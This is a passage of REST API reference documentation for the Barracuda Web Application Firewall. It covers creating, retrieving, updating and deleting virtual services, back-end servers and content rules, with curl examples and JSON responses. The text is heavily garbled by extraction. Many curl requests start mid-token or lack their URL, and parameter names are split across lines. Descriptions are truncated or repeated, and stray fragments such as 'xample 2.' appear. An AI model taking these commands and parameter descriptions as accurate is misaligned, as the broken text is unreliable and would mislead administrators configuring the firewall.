deleted","token":"eyJldCI6IjEzODAyNDE3NTEiLCJwYXNzd29yZCI6ImM0ZWI4ZDdiMGMyYWY5ZTA1MTk0MDYyOGZi\nYzNiNDk
0IiwidXNlciI6ImFkbWluIn0=\n"}

Virtual Service
A Virtual Service is a combination of a Virtual IP (VIP) address and a TCP port, which listens and directs the traffic to the intended Service.
In this Section:
To Create a Virtual Service

To Retrieve Virtual Service
To Update a Virtual Service
To Delete a Virtual Service
To Create a Virtual Service
URL: /v1/virtual_services
Method: POST
Description: Creates a virtual service with the given values.
Input Parameters:
name Alphanumeric Yes The name of the new service.
ip_address Numeric Yes The virtual IP address that will

be used for accessing this
application.
port Numeric Yes The port number on which your

web server responds.
type Enumeration Yes The type of the service you want

to create. The enumerated
values include:
HTTP
HTTPS
FTP
FTPSSL
CUSTOM
CUSTOMSSL
INSTANTSSL
REDIRECT (for Redirect
service)
address_version Enumeration Yes The internet protocol version of

the service. The enumerated
values include:
ipv4
ipv6
vsite Alphanumeric Optional The name of the vsite under

which the service needs to be
created.
Note: This field is required
ONLY when the service needs to
be created under a specific vsite.
If not, the service will be created
under the default vsite.

group Alphanumeric Optional The name of the service group

under which the service needs to
be created.
Note: This field is required
ONLY when the service needs to
be created under a specific
service group. If not, the service
will be created under the default
service group.
certificate Alphanumeric Conditional The certificate that needs to be

presented to the browser when
accessing this Service.
Note: This is a required

parameter
ONLY when the service is

HTTPS, Instant SSL, Custom
SSL or FTP SSL.
service_hostname Alphanumeric Conditional The domain name to identify and

rewrite HTTP requests to
HTTPS.

parameter ONLY when the
service is Instant SSL.
Output Parameters:
id Alphanumeric The name of the service that got

created.
Example: HTTP Service

Request:
WluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name": "demo_service_3", "ip_address": "10.11.16.176", "port":
"80", "type":"http", "address_version":"ipv4", "vsite":"demo_vsite", "group":"demo_vsite_group"}'
Response:
{"id":"demo_service_3","token":"eyJldCI6IjEzNzk2NTIyNjEiLCJwYXNzd29yZCI6ImRiODUwZDMxZjYzNTQ4Njk2MzdhZDZiZThl\n
MTQzODMxIiwidXNlciI6ImFkbWluIn0=\n"}
Example: HTTPS Service

Request:
'eyJldCI6IjEzNzk1OTYwOTAiLCJwYXNzd29yZCI6ImIxMzJiMmI2MmI3ZDYzYTc0NTU5M2UzNTFm\nNzMxMTEwIiwidXNlciI6ImFk
bWluIn0=\n:admin' -X POST -H Content-Type:application/json –d
'{"certificate":"cert1","address_version":"ipv4","name":"demo_service_2","type":"https","ip_address":"10.11.12.138","port":"80"}'
Response:
{"id":"demo_service_2","token":"eyJldCI6IjEzNzk2NTIyNjEiLCJwYXNzd29yZCI6ImRiODUwZDMxZjYzNTQ4Njk2MzdhZDZiZThl\n
MTQzODMxIiwidXNlciI6ImFkbWluIn0=\n"}

Example: Instant SSL Service

Request:
'eyJldCI6IjEzODAyODg0MTUiLCJwYXNzd29yZCI6ImJmYTdjMGFiODIzZjdkNTNlMzg2Y2E2YzRl\nZDlkNzM4IiwidXNlciI6ImFkbWl
uIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name": "instant_ssl", "ip_address": "10.11.25.233", "port": "445",
"type":"instantssl", "address_version":"ipv4", "vsite":"default", "group":"default", "certificate":"cert", "service_hostname": "*"}'
Response:
{"id":"instant_ssl","token":"eyJldCI6IjEzODAzMDkzNDkiLCJwYXNzd29yZCI6ImQzOTI5MGZiMDBhNWE3MGY1MzU1NzNlNmU2\n
MTQ5Mzc4IiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Virtual Service
URL: /v1/virtual_services
/v1/virtual_services/{virtual_service_id}
Method: GET
Description: Lists all virtual services if “service_id” is not specified.
Input Parameters:

xample 2.
Example 1:
Request:
WluIn0=\n:admin' -X GET
Response:
{"load_balance":{"algorithm":null,"persistence_method":"NONE"},"session_timeout":"60","comments":null,"group":"demo_vsite_gro
up","ip_address":"10.11.15.176","id":"demo_service","token":"eyJldCI6IjEzODAyMzY3MDQiLCJwYXNzd29yZCI6ImQ1N2Q2MzM1
OWU5YTYzYjAxN2YyOTdlMzZk\nYmEwZTYwIiwidXNlciI6ImFkbWluIn0=\n","ssl_offloading":{"ciphers":"default","trusted_certificat
es":[],"status":"0","enforce_client_certificate":"1","enable_tls_1_2":"1","enable_tls_1":"1","enable_sni":"0","enable_tls_1_1":"1","kee
palive_requests":"64","enable_client_authentication":"0","enable_ssl_3":"1"},"enable":"1","name":"demo_service","enable_access_l
og":"1","port":"80","address_version":"ipv4","security":{"ignore_case":"1","trusted_hosts_action":"DEFAULT","mode":"PASSIVE","w
eb_firewall_log_level":"5","web_firewall_policy":"default","rate_control_status":"OFF","trusted_hosts_group":null,"rate_control_pool
":"NONE","client_ip_addr_header":null},"type":"HTTP","servers":[],"content_rules":[]}
Example 2:
Request:
kbWluIn0=\n:admin' -X GET -G -d parameters=ip_address,load_balance,security
Response:
{"load_balance":{"algorithm":"round_robin","failover_method":"error","persistence_method":"none"},"security":{"ignore_case":"yes","
trusted_hosts_action":"default","mode":"passive","web_firewall_log_level":"notice","web_firewall_policy":"sharepoint","rate_control_
status":"off","trusted_hosts_group":"","rate_control_pool":"NONE","client_ip_addr_header":null},"ip_address":"99.99.116.7","id":"de
mo_service","token":"eyJldCI6IjE1MDQ0MDgwMTQiLCJwYXNzd29yZCI6ImJiZGE0MGNmY2I5ZjZjM2E1ZTFlN2M3ODI0\nYjk3Nj
E0IiwidXNlciI6ImFkbWluIn0=\n"}
To Update a Virtual Service
In this REST API call, the parameters can be passed in a Simple JSON request or a Nested JSON request based on the parameters that needs
to be modified. For information on JSON requests, see Request Syntax.

URL: /v1/virtual_services/{virtual_service_id}
Method: PUT
Description: Updates the values of given parameters in the given service.
Input Parameters:
ip_address Numeric Optional The virtual IP address that will

be used for accessing this
application.
port Numeric Optional The port number on which your

web server responds.
type Enumeration Optional The type of the service you want

to create. The enumerated
values include:
HTTP
HTTPS
FTP
FTPSSL
CUSTOM
CUSTOMSSL
INSTANTSSL
REDIRECT (for Redirect
service)
certificate Alphanumeric Conditional The certificate that needs to be

presented to the browser when
accessing this Service.

service is HTTPS, Instant SSL,
Custom SSL or FTP SSL
service_hostname Alphanumeric Conditional The domain name to identify and

rewrite HTTP requests to
HTTPS.

service is Instant SSL.
status String Optional The status of the virtual service.

The values include:
enable
disable
mask Numeric Optional The netmask of the associated

IP address.
enable_access_logs String Optional Specifies whether to log every

request made to this Service or
not. The values include:
yes – to log every request

made to this Service on the
BASIC > Access Logs pag
e.
no – to disable logging.

session_timeout Numeric Optional The time-out period in seconds

for persistent connections with
clients.
Zero (0) indicates that the

session never times out (session
lives forever).
security.web_firewall_policy Enumeration Optional A web firewall policy to be

associated with the service.
The enumerated values include:
default
sharepoint
sharepoint2013
owa
owa2010
owa2013
oracle
security.web_firewall_log_level Enumeration Optional The threshold for logging the

error messages for the service.
emergency - System is
unusable (highest priority)
alert - Response must be
taken immediately
critical - Critical conditions
error - Error conditions
warning - Warning
conditions
notice - Normal but
significant condition
information - Informational
messages (on ACL
configuration changes)
debug - Debug level
messages (lowest priority)
security.mode String Optional The mode to determine how the

service responds to the
offending traffic. The
enumerated values include:
passive - This mode allows

the intrusions to be passed
to the server, but logs the
events.
active - This mode blocks
the intrusions and logs the
events.
security. trusted_hosts_action String Optional The action to be performed for a

set of trusted hosts accessing
the service. The values include:
allow
passive
default

security. trusted_hosts_group String Optional The trusted hosts group to which

the Trusted Hosts Action
needs to be applied.
Note: If you want to remove the

associated trusted hosts group,
pass the double inverted
commas without space (“”) in the
request. Example:
{"security":{"trusted_hosts_group
":""}}
security.ignore_case String Optional Determines how, for this service,

the URLs are matched to rules
like URL ACLs and URL Profiles.
The values include:
yes
no
security.client_ip_addr_header Alphanumeric Optional The name of the header in which

the client IP address is stored for
identification by the server.
security.rate_control_status String Optional The rate control pool status. The

on
off
security. rate_control_pool String Optional The rate control pool to be

associated with the service to
limit the rate of requests.
load_balance.algorithm Enumeration Optional The algorithm to be used to

distribute incoming requests for
the service.
round_robin
weighted_round_robin
weighted_least_connection
load_balance.persistence_idle_ti Numeric Optional The maximum idle time (in

meout seconds) for a persistent
connection.

load_balance.persistence_meth Enumeration Optional The Persistence Method to be

od used to maintain the connection
between a client and the first
server that it connects to, even
when the system is load
balancing traffic.
none
source_ip
source_ip_netmask
cookie_insert
persistence_cookie_na
me
persistence_cookie_do
main
persistence_cookie_pat
h
cookie_age
cookie_passive
me
main
h
cookie_age
http_header
header_name
url_parameter
parameter_name
load_balance.failover_method Enumeration Optional The failover method to be used

when responding to a request
which is persistent, but the
server that must serve the
request is failed or set to
"Out-of-Service".
load_balance - The
requests to be load
balanced between the
"alive" servers.
error - Sends "503 service
unavailable" error message.
This method is not
supported for the
persistence method "Source
IP".
load_balance. Numeric Optional The maximum idle time (in

persistence_idle_timeout seconds) for a persistent
connection. A client is directed to
the same Real Server unless the
connection is inactive for more
than the specified number of
seconds.

load_balance.source_ip_netma Numeric Conditional A subnet mask to make

sk subsequent connections from
clients, from the same subnet go
to the same Real Server.
Note: This is required ONLY

when Persistence Method is so
urce_ip.
load_balance.persistence_cooki Alphanumeric Conditional The name of the cookie that will

e_name be used for persistence.

when Persistence Method is co
okie_insert or cookie_passive.
load_balance.persistence_cooki Alphanumeric Optional The domain name of the server

e_domain of a persistency cookie.

load_balance.persistence_cooki URL Optional The path property of the

e_path persistency cookie.

load_balance.cookie_age Numeric Conditional The expiry age of the

persistence cookie in minutes.
load_balance.header_name Alphanumeric Conditional The name of the header for

which the value needs to be
checked in the HTTP requests.

when Persistence Method is htt
p_header.
load_balance.parameter_name Alphanumeric Conditional The name of the parameter for

checked in the URL.

when Persistence Method is url
_parameter.
ssl_offloading.status String Optional The SSL status of the service.

The values include:
on
off
ssl_offloading.certificate Alphanumeric Conditional The certificate that needs to be

presented to the client accessing
the service.
Note: This is required when SSL

status is On.
ssl_offloading.ecdsa_certificate Alphanumeric Optional The ECDSA certificate that

needs to be presented to the
client accessing the service.

ssl_offloading.enable_ssl_3 String Optional SSL 3.0 protocol to be used by

the clients to establish the
connection to the service. The
values include:
yes
no
ssl_offloading.enable_tls_1 String Optional TLS 1.0 protocol to be used by

values include:
yes
no
ssl_offloading.enable_tls_1_1 String Optional TLS 1.1 protocol to be used by

values include:
yes
no
ssl_offloading.enable_tls_1_2 String Optional TLS 1.2 protocol to be used by

values include:
yes
no
ssl_offloading.enable_sni String Optional The status of Server Name

Indication (SNI). The values
include:
yes
no
ssl_offloading.enable_strict_sni_ String Optional Specifies whether to block

check access to non-SNI clients or not.
The values include:
yes
no
ssl_offloading.domain Alphanumeric Conditional The domain name for which the

SNI check needs to be enforced.
You can specify multiple domain
names with comma (,) as a
delimiter without any space.
Note:
This is a required parameter

when enable_sni is set to Y
es.
When domain is passed as
a parameter in the API
request, sni_certificate sho
uld be specified along with
the domain. Also, optionally
you can specify the ECDSA
certificate by passing sni_e
cdsa_certificate.

ssl_offloading.sni_certificate Alphanumeric Conditional The certificate(s) to be

associated with the specified
domain(s) name.
This is a required parameter

when enable_sni is set to Yes.
ssl_offloading.sni_ecdsa_certific Alphanumeric Optional The ECDSA certificate to be

ate associated with the specified
domain(s) name.
ssl_offloading.enable_pfs String Optional Specifies whether to create a

new ephemeral public-private
key pair for every SSL/TLS
session. The Values include:
yes
no
ssl_offloading.ciphers Enumeration Optional Specifies the ciphers to be used

for the service. The enumerated
values include:
default
custom
For information on how to pass

custom ciphers in a request,
refer to the example given below
( see Example 2).
ssl_offloading.selected_ciphers String Optional The cipher suits to be used when

ciphers is set to custom. Use
comma (,) as a separator to
specify multiple cipher suits.

custom ciphers in a request,
( see Example 2).
ssl_offloading.override_ciphers_ String Optional The cipher suits to be used to

ssl3 override the default set of
ciphers associated with the
SSL.3.0 protocol.
Note:
Use comma (,) as a

separator to specify multiple
cipher suits.
This is applicable only when
enable_ssl_3 is set to Yes.

override ciphers in a request,
( see Example 3).


tls_1 override the default set of
TLS.1.0 protocol.
Note:
Use comma (,) as a

cipher suits.
enable_tls_1 is set to Yes.

( see Example 3).

tls_1_1 override the default set of
TLS.1.1 protocol.
Note:
Use comma (,) as a

cipher suits.
enable_tls_1_1 is set to Ye
s.

( see Example 3).
ssl_offloading.enable_client_aut String Optional Specifies whether to enable or

hentication disable client authentication for
the service, or the content rules
configured under the service.
disable
for_service
for_selected_rule(s)
ssl_offloading.enforce_client_cer String Conditional Determines if the clients are

tificate required to present their
certificate when connecting to
the service. The values include:
yes
no
Note:
enforce_client_certificate
should be set to yes when e
nable_client_authenticatio
n is set to for_service,
enforce_client_certificate i
s enabled by default when e
nable_client_authenticatio
n is set to for_selected_rule
(s).

ssl_offloading.client_authenticati String Conditional The rules to which users must

on_rules present their certificate when
accessing the service.
Note: This is applicable only

when enable_client_authentica
tion is set to for_selected_rule(s)
.
ssl_offloading.trusted_certificate String Optional The trusted certificate to be used

s to validate the certificates
presented by the clients
connecting to this service.
instant_ssl. status String Optional The status of instant SSL policy.

The values include:
on
off
instant_ssl. secure_site_domain Alphanumeric Optional The domain names for links

embedded in a request. Sets
which absolute URLs to rewrite
in responses when Rewrite
“status” is enabled; only URLs
from these domain(s) are
rewritten. Asterisk (*) means all
inclusive.
instant_ssl. String Optional Specifies whether to provide

sharepoint_rewrite_support support for SharePoint rewrite or
not. Sharepoint rewrite support is
relevant only if an Instant SSL
service is created to protect a
Microsoft SharePoint application.
The values include:
on
off
advanced_configuration.enable_ String Optional Specifies whether to enable or

web_application_firewall disable Web Application Firewall
for this service. Note that Web
Application Firewall globally
manages network protection
against attacks. By default, this
is set to Yes. Select “no” if you
want to temporarily disable Web
Application Firewall without
losing the configuration settings.
The values include:
yes
no
advanced_configuration.keepaliv Numeric Optional The maximum number of

e_requests requests allowed on a persistent
HTTP connection.

advanced_configuration.ntlm_ig String Optional Specifies whether or not the

nore_extra_data Barracuda Web Application
Firewall prematurely closes the
TCP connection, when it
receives a 401 error code from
the Server, during the NTLM
authentication process. The
values include:
yes
no
Example 1:
Request:
curl http://10.11.19.104:8000/restapi/v1/virtual_services/service1 -u
'eyJldCI6IjEzNzk2NzUwNTYiLCJwYXNzd29yZCI6IjA1MThjYWE1MWI3YWU3MTQxNjAxYzM2NzE5\nNTM2NTM0IiwidXNlciI6ImF
'{"load_balance":{"failover_method":"ERROR"},"security":{"mode":"PASSIVE","web_firewall_policy":"sharepoint"},"ssl_offloading":{"
enable_sni":1,"enable_tls_1":1}}'
Response:
{"id":"service1","token":"eyJldCI6IjE0NTY5OTc4NDUiLCJwYXNzd29yZCI6ImFjMjY2ZTMzNjU3N2I0Y2FlYTY5OWRlYWMx\nYzVm
MmIzIiwidXNlciI6ImFkbWluIn0=\n"}
Example 2:
Request:
curl http://10.11.19.79:8000/restapi/v1/virtual_services/service1 -u 'eyJldCI6IjE0NTY5OTg4NTIiLCJwYXNzd29yZCI6IjQwODJlOTQ

yNjhhNjM0ZmUxOTg5Mjg1Yzg4\nMDJkNDExIiwidXNlciI6ImFkbWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"ss
l_offloading":{"status":"on","enable_sni":"yes","enforce_client_certificate":"yes","certificate":"certificate1","domain":["yourdomain.co
m","brdomain.com"],"sni_certificate":["certificate1","Certificate10"],"sni_ecdsa_certificate":["Certificate2","Certificate3"],"trusted_cert
ificates":["cert1"],"ciphers":"custom", "selected_ciphers":"AES256-GCM-SHA384,AES256-SHA256,AES256-SHA,CAMELLIA256-S
HA,DES-CBC3-SHA,AES128-GCM-SHA256,AES128-SHA256,AES128-SHA,SEED-SHA,CAMELLIA128-SHA,RC4-SHA"}}'
Response:
{"id":"service1","token":"eyJldCI6IjE1MDQ1MTcxNDEiLCJwYXNzd29yZCI6ImU0ZWVjMzBjYTEyNjdiYzhkYWRlZDg5YWQx\nMmI
0ODU2IiwidXNlciI6ImFkbWluIn0=\n"}
Example 3:
Request:
curl http://10.11.25.107:8000/restapi/v1/virtual_services/service1 -u 'eyJldCI6IjE0NTk0MDcxMzUiLCJwYXNzd29yZCI6ImJhMzYyZ

mM5NTQwMmMyZGNiMGI3NGE1NDZl\nNDYyYjZmIiwidXNlciI6ImFkbWluIn0=\n:admin' -X PUT -H Content-Type:application/json
-d '{"ssl_offloading":{"override_ciphers_tls_1":"AES256-GCM-SHA384,AES256-SHA256,AES256-SHA,CAMELLIA256-SHA,DES-
CBC3-SHA"}}'
Response:
{"id":"service1","token":"eyJldCI6IjE0NTk0MDczNjUiLCJwYXNzd29yZCI6ImU5M2MwMmJiNDZjODI3YjgzNzQ4ZWUxNmE4\nYmR
kYTJiIiwidXNlciI6ImFkbWluIn0=\n"}
Examples for SSL Client Authentication

Example 1: To Disable Client Authentication

Request:
curl http://10.11.25.107:8000/restapi/v1/virtual_services/service -u
'eyJldCI6IjE0NTI2ODg5MzUiLCJwYXNzd29yZCI6ImY3NmYxODFmYTIyNTUwNDRiN2U1MDBhNDZk\nYWUxMjJkIiwidXNlciI6Im
FkbWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"ssl_offloading":{"enable_client_authentication":"disable"}}'
Response:
{"id":"service","token":"eyJldCI6IjE0NTI2ODkxNDIiLCJwYXNzd29yZCI6ImQyZjI1MjUxOWM5NWU5NGQyMWI0YjA4Njk2\nNDZmY
Tk5IiwidXNlciI6ImFkbWluIn0=\n"}
Example 2: To Enable Client Authentication for a Service

Request:
'eyJldCI6IjE0NTI3NTE1MDgiLCJwYXNzd29yZCI6ImFiZjMxMTZiNTNiYjYzNzI0NzdkYWIyNzk1\nZmFkZDI1IiwidXNlciI6ImFkbWluI
n0=\n:admin' -X PUT -H Content-Type:application/json -d
'{"ssl_offloading":{"enable_client_authentication":"for_service","trusted_certificates":["trust"]}}'
Response:
{"id":"service","token":"eyJldCI6IjE0NTI3NTE3OTciLCJwYXNzd29yZCI6ImViMTRhZDM1YTQ1NWY4MjBhZDgzMzZjZTg2\nMmZl
ZDQ3IiwidXNlciI6ImFkbWluIn0=\n"}
Example 3: To Enable Client Authentication for Rule(s)

Request:
'eyJldCI6IjE0NTI3NTE1MDgiLCJwYXNzd29yZCI6ImFiZjMxMTZiNTNiYjYzNzI0NzdkYWIyNzk1\nZmFkZDI1IiwidXNlciI6ImFkbWluI
n0=\n:admin' -X PUT -H Content-Type:application/json -d
'{"ssl_offloading":{"enable_client_authentication":"for_selected_rule(s)","client_authentication_rules":["RG1"],"trusted_certificates":[
"trust"]}}'
Response:
{"id":"service","token":"eyJldCI6IjE0NTI3NTE4ODAiLCJwYXNzd29yZCI6ImEzN2FmNDE1NmU2OWNiZDNhMGRlYWZjNzcx\nYzR
mZTljIiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Virtual Service
URL: /v1/virtual_services/{virtual_service_id}
Method: DELETE
Description: Deletes the given service.
Example:
Request:
Response:
deleted","token":"eyJldCI6IjEzODAyMzcwMzEiLCJwYXNzd29yZCI6ImNkNjRjZDZjNTE5ZWQ4ZTFiZThkZjQ4YjNh\nYjE2MjI1Iiwid

Server
A server object can be used to configure the networking information of the back-end server to be hosted on the Barracuda Web Application
Firewall. Multiple real servers can be added and configured to load balance the incoming traffic for a Service.
In this Section:
To Add a Server
To Retrieve Servers
To Update a Server
To Delete a Server
To Add a Server
URL: /v1/virtual_services/{virtual_service_id}/servers
Method: POST
Description: Adds a server with the given values.
Input Parameters:
name Alphanumeric Yes A name to identify this server.
identifier Enumeration Yes The way to be used by the

Firewall to identify the server.
hostname
ip_address
address_version Enumeration Yes The internet protocol version to

be used. The enumerated values
include:
ipv4
ipv6
ip_address Alphanumeric Conditional The IP address of the server.

This is required when identifier i
s set to ip_address.
hostname Alphanumeric Conditional The hostname of the server. This

is required when identifier is set
to hostname.
port Numeric Yes The port number of the server.
status Enumeration Optional The status for the server to

handle the requests. The
out_of_service_sticky
in_service
out_of_service_all
out_of_service_maintenanc
e

backup_server String Optional Determines whether to designate

this server as a last resort server
to be used when all other
servers configured under the
Service fail. The values include:
yes
no
Note: If backup_server is set to

yes, the weight value
automatically resets to zero (0)
and modifying this value will not
take effect on the server.
weight Numeric Optional The weight for the server. This is

applicable only when the Load
Balancing Algorithm is set to w
eighted_round_robin.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/virtual_services/demo_service/servers -u
'eyJldCI6IjEzODAwNzE3ODgiLCJwYXNzd29yZCI6ImUzNGQyMTZjYjBhMDI5MzdjYmExNGRiODFm\nMTI4ZTQwIiwidXNlciI6ImF
kbWluIn0=\n:admin' -X POST -H Content-Type:application/json -d
'{"address_version":"ipv4","name":"demo_server","ip_address":"10.11.11.11","port":80}'
Response:
{"id":"demo_server","token":"eyJldCI6IjEzODAwNzIxMjEiLCJwYXNzd29yZCI6ImU3NWYwY2FjNGI4MWY4Yjg2MTg2YTkyNjZj\nY
zgyNmUyIiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Servers
URL: /v1/virtual_services/{virtual_service_id}/servers
/v1/virtual_services/{virtual_service_id}/servers/{server_id}
Method: GET
Description: Lists all servers if “server_id” is not specified.
Input Parameters:

xample 2.
Example 1:
Request:
curl http://10.11.19.104:8000/restapi/v1/virtual_services/demo_service/servers/demo_server -u
kbWluIn0=\n:admin' -X GET
Response:
{"in_band_health_checks":{"max_http_errors":"0","max_refused":"10","max_timeout_failure":"10","max_other_failure":"10"},"out_of
_band_health_checks":{"enable_OOB_health_checks":"1","interval":"10"},"status":"in-service","client_impersonation":"0","applicatio
n_layer_health_check":{"additional_headers":[],"status_code":"200","url":null,"method":"GET","match_content_string":null},"max_re
quest":"1000","max_establishing_connections":"100","comments":"","backup_server":"0","max_connections":"10000","timeout":"30
0000","weight":"1","ip_address":"10.11.11.11","id":"demo_server","token":"eyJldCI6IjEzODAwNzIyOTUiLCJwYXNzd29yZCI6ImIyM
DYxMWRiZmM0YzJhMzg0M2FmN2IxZjJk\nOTkxZTM0IiwidXNlciI6ImFkbWluIn0=\n","source_ip_to_connect":null,"ssl":{"enable_ht
tps":"0","client_certificate":null,"enable_ssl_3":"1","validate_certificate":"0","enable_tls_1":"1"},"name":"demo_server","port":"80","co
nnection_pooling":{"enable_connection_pooling":"1","keepalive_timeout":"900000"},"max_keepalive_requests":"0","max_spare_co
nnections":"0"}

Example 2:
Request:
kbWluIn0=\n:admin' -X GET -G -d parameters=connection_pooling,ssl
Response:
{"connection_pooling":{"enable_connection_pooling":"yes","keepalive_timeout":"900000"},"ssl":{"enable_https":"no","enable_tls_1_
1":"yes","client_certificate":null,"enable_ssl_3":"yes","validate_certificate":"yes","enable_tls_1_2":"yes","enable_tls_1":"yes"},"id":"d
emo_server","token":"eyJldCI6IjE1MDQ0MDkwMzAiLCJwYXNzd29yZCI6ImJhZDA2NjQzM2E4NTZmNzAzMzRmODkzOGE5\nOT
cyMzZkIiwidXNlciI6ImFkbWluIn0=\n"}
To Update a Server
URL: /v1/virtual_services/{virtual_service_id}/servers/{server_id}
Method: PUT
Description: Updates the values of given parameters in the given server.
Input Parameters:
name Alphanumeric Optional The name of the server.
identifier Enumeration Optional The way to be used by the

hostname
ip_address
address_version Enumeration Optional The internet protocol version to

include:
ipv4
ipv6
ip_address Alphanumeric Optional The IP address of the server.

Hostname Alphanumeric Optional The hostname of the server. This

to hostname.
Port Numeric Optional The port number of the server.
Status Enumeration Optional The status for the server to

in_service
out_of_service_all
e


yes
no

Weight Numeric Optional The weight for the server. This is

ssl.enable_https Enumeration Optional The SSL status for backend

connections. The values include:
yes
no
enable_ssl_3 String Optional SSL 3.0 protocol to be used by

connection to the server. The
values include:
yes
no
enable_tls_1 String Optional TLS 1.0 protocol to be used by

values include:
yes
no
enable_tls_1_1 String Optional TLS 1.1 protocol to be used by

values include:
yes
no

values include:
yes
no
ssl.client_certificate String Optional The certificate to be used when

the server requires client
authentication.
ssl.validate_certificate String Optional Determines whether to validate

the server certificate or not. The
values include:
yes
no

ssl.enable_ssl_compatibility_mo String Optional Determines whether to enforce

de compatibility with legacy servers
or not. The values include:
yes
no
in_band_health_checks.max_htt Numeric Optional The maximum number of HTTP

p_errors error responses to be allowed
per 1024 requests before
marking the server as out of
service.
in_band_health_checks.max_ref Numeric Optional The maximum number of

used connection refused errors to be
allowed per 1024 connections
before marking the server as
out-of-service (default is 10).
in_band_health_checks.max_ot Numeric Optional The maximum number of

her_failure connection time-out errors to be
in_band_health_checks.max_tim Numeric Optional The maximum number of other

eout_failure errors to be allowed per 1024
connections before marking the
server as out-of-service (default
is 10).
out_of_band_health_checks.ena String Optional The status of Out-of-Band

ble_OOB_health_checks monitoring. The values include:
yes
no
out_of_band_health_checks.inte Numeric Optional The interval time (in seconds)

rval between the probes sent by the
Firewall to the server to
application_layer_health_check. Alphanumeric Optional Any additional headers to be

additional_headers sent with the OOB HTTP
request.
application_layer_health_check. Numeric Optional The expected HTTP response

status_code status code.
application_layer_health_check. URL Optional The URL to be used in the HTTP

url request to determine the server
health.
application_layer_health_check. Enumeration Optional The method to be used for the

method HTTP request. The enumerated
values include:
POST
GET
HEAD
application_layer_health_check. String Optional The string that needs to be

match_content_string matched in the response. If
specified, the response must
contain the string. If the
response does not contain the
string, the probe is deemed
unsuccessful, and the server will
be marked out- of- service.

connection_pooling.enable_con String Optional The connection pooling status.

nection_pooling The values include:
yes
no
connection_pooling.keepalive_ti Numeric Optional The time in milliseconds to

meout timeout a connection which was
used at least once. This is the
maximum amount of time a
connection is kept alive. This
value is applicable per 1024
connections, where a time-out
error had occurred before turning
off the server.
advanced_configuration.max_co Numeric Optional The maximum number of

nnections connections established to the
server at any time.
advanced_configuration.max_re Numeric Optional The maximum number of

quests requests that can be queued.
advanced_configuration.max_ke Numeric Optional The maximum number of

epalive_requests requests retained on a persistent
connection before the
connection is shut down (if the
server does not close the
connection first).
advanced_configuration.max_es Numeric Optional The maximum number of

tablishing_connections simultaneous connections that
can be established to the server.
advanced_configuration.max_sp Numeric Optional The maximum number of

are_connections pre-allocated connections.
advanced_configuration.timeout Numeric Optional The time in milliseconds to

timeout an unused connection.
advanced_configuration.client_i String Optional Specifies if the Barracuda Web

mpersonation Application Firewall uses the
client IP address as the source
IP address to communicate to
the servers. The values include:
yes
no
advanced_configuration.source_ Alphanumeric Optional The IP address to be used by

ip_to_connect the Barracuda Web Application
Firewall to communicate with the
Server. It can be WAN IP
address, LAN IP address or a
custom virtual interface IP
address in the Vsite. If client_im
personation is set to yes, then
this IP is used only for Out of
Band Health checks.
Note: If the server is reachable

through a static route configured
in the Vsite, then the custom
virtual interface defined in that
Vsite should be specified in sour
ce_ip_to_connect.

Example 1:
Request:
kbWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"ssl":{"enable_https":0},"status":"in-service"}'
Response:
{"id":"demo_server","token":"eyJldCI6IjEzODAwNzM4MDciLCJwYXNzd29yZCI6IjIzOWQwNzI0NGEzNzlkMmZhODQxYjNkNjU4\n
YzgwNjE3IiwidXNlciI6ImFkbWluIn0=\n"}
Example 2:
Request:
curl http://10.11.25.107:8000/restapi/v1/virtual_services/aert/servers/Server1 -u 'eyJldCI6IjE0NTk0MDk0NTMiLCJwYXNzd29yZCI6

IjU5MjkxNTY4ZWFlODI1ZDkyNTc3YmU1NDEz\nYTYyMTEyIiwidXNlciI6ImFkbWluIn0=\n:admin' -X PUT -H Content-Type:applicat
ion/json -d '{"enable_ssl_compatibility_mode":"yes"}'
Response:
{"id":"Server1","token":"eyJldCI6IjE0NTk0MDk1MTIiLCJwYXNzd29yZCI6IjAwN2Q0ODEzNTk3NzRkNGYwMWNmYzJmMDYw\nM
2UyZWU1IiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Server
URL: /v1/virtual_services/{virtual_service_id}/servers/{server_id}
Method: DELETE
Description: Deletes the given server configured under the given service.
Example:
Request:
Response:
deleted","token":"eyJldCI6IjEzODAwNzQxMDAiLCJwYXNzd29yZCI6IjI2NTdiZjEzYjQ3ZmUwMGRlZDlkMjQ3MzVl\nNjc0ZmRlIiwid

Content Rule
Rules are used to configure content-aware switching over incoming web traffic. Rules help analyze an HTTP request headers to make load
balancing and caching policy decisions.
In this Section:
To Create a Content Rule

To Retrieve Content Rules
To Update a Content Rule
To Delete a Content Rule
To Create a Content Rule
URL: /v1/virtual_services/{virtual_service_id}/content_rules
Method: POST
Description: Creates a content rule for the given service.
Input Parameters:
name Alphanumeric Yes A name for the content rule.
host_match Alphanumeric Yes A host name to be matched

against the host in the request
header.
url_match URL Yes A URL to be matched to the URL

in the request header.
extended_match String Yes An expression that consists of a

combination of HTTP headers
and/or query string parameters.
For information on how to write

extended match expressions,
refer http://techlib.barracuda.co
m/x/ExtendedMatchSyntax.
extended_match_sequence Numeric Yes A number to indicate the order in

which the extended match rule
must be evaluated in the
requests.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/virtual_services/demo_service/content_rules -u
'eyJldCI6IjEzODAwNzQ0NjgiLCJwYXNzd29yZCI6IjY4MjdkMmNmY2MxYzI4ODY3ODU2NTM3NGQ1\nOTIxM2FlIiwidXNlciI6ImFk
bWluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name":"rule1","host_match":"www.barracuda.com","url_match":"
/index.html","extended_match":"*", "extended_match_sequence":5}'
Response:
{"id":"rule1","token":"eyJldCI6IjEzODAwNzY4NTgiLCJwYXNzd29yZCI6IjIyZThiZjhkYWFiYTY3MWQ2YzcyNzhhNGI4\nZWE1YWY
wIiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Content Rules
URL: /v1/virtual_services/{virtual_service_id}/content_rules
/v1/virtual_services/{virtual_service_id}/content_rules/{rule_id}
Method: GET
Description: Lists all content rules if “rule_id” is not specified.

Input Parameters:

xample 2.
Example 1:
Request:
